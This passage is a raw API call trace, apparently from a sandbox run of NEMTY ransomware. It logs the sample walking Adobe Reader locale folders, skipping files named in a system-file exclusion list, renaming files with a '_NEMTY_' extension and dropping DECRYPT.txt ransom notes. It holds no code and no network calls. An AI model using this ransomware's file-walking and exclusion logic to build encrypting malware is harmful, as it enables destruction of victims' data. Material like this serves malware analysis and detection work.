[0176.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.455] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\WebLink.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\weblink.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\WebLink.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\weblink.euq._nemty_kgobjgd_")) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.455] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c857950, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1c857950, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c857950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0176.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0176.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0176.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0176.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0176.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0176.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0176.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0176.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0176.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.457] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c857950, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1c857950, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c857950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0176.457] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0176.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0176.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0176.457] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2=".") returned 1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="..") returned 1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="...") returned 1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="windows") returned -1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="$RECYCLE.BIN") returned 1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="rsa") returned -1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="NTDETECT.COM") returned -1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="ntldr") returned -1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="MSDOS.SYS") returned -1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="IO.SYS") returned -1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="boot.ini") returned 1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="boot.ini") returned 1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="AUTOEXEC.BAT") returned 1 [0176.457] lstrcmpiW (lpString1="fi_FI", lpString2="ntuser.dat") returned -1 [0176.458] lstrcmpiW (lpString1="fi_FI", lpString2="desktop.ini") returned 1 [0176.458] lstrcmpiW (lpString1="fi_FI", lpString2="CONFIG.SYS") returned 1 [0176.458] lstrcmpiW (lpString1="fi_FI", lpString2="RECYCLER") returned -1 [0176.458] lstrcmpiW (lpString1="fi_FI", lpString2="BOOTSECT.BAK") returned 1 [0176.458] lstrcmpiW (lpString1="fi_FI", lpString2="bootmgr") returned 1 [0176.458] lstrcmpiW (lpString1="fi_FI", lpString2="programdata") returned -1 [0176.458] lstrcmpiW (lpString1="fi_FI", lpString2="appdata") returned 1 [0176.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi_FI", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi_FI", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fi_FI", lpUsedDefaultChar=0x0) returned 5 [0176.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi_FI", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi_FI", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fi_FI", lpUsedDefaultChar=0x0) returned 5 [0176.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0176.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0176.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0176.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0176.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0176.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0176.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0176.458] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0176.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0176.461] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.461] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0176.461] CloseHandle (hObject=0x254) returned 1 [0176.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0176.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0176.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0176.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0176.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0176.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0176.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0176.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.463] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.463] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0176.463] CloseHandle (hObject=0x254) returned 1 [0176.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.464] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1cd1a550, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1cd1a550, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0176.464] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0176.464] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1cd1a550, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1cd1a550, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0176.464] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0176.464] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0176.464] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2=".") returned 1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="..") returned 1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="...") returned 1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="windows") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="rsa") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="NTDETECT.COM") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="ntldr") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="MSDOS.SYS") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="IO.SYS") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="boot.ini") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="boot.ini") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="AUTOEXEC.BAT") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="ntuser.dat") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="desktop.ini") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="CONFIG.SYS") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="RECYCLER") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="BOOTSECT.BAK") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="bootmgr") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="programdata") returned -1 [0176.464] lstrcmpiW (lpString1="accessibility.SUO", lpString2="appdata") returned -1 [0176.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SUO", lpUsedDefaultChar=0x0) returned 17 [0176.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0176.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SUO", lpUsedDefaultChar=0x0) returned 17 [0176.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0176.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SUO", lpUsedDefaultChar=0x0) returned 17 [0176.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.465] 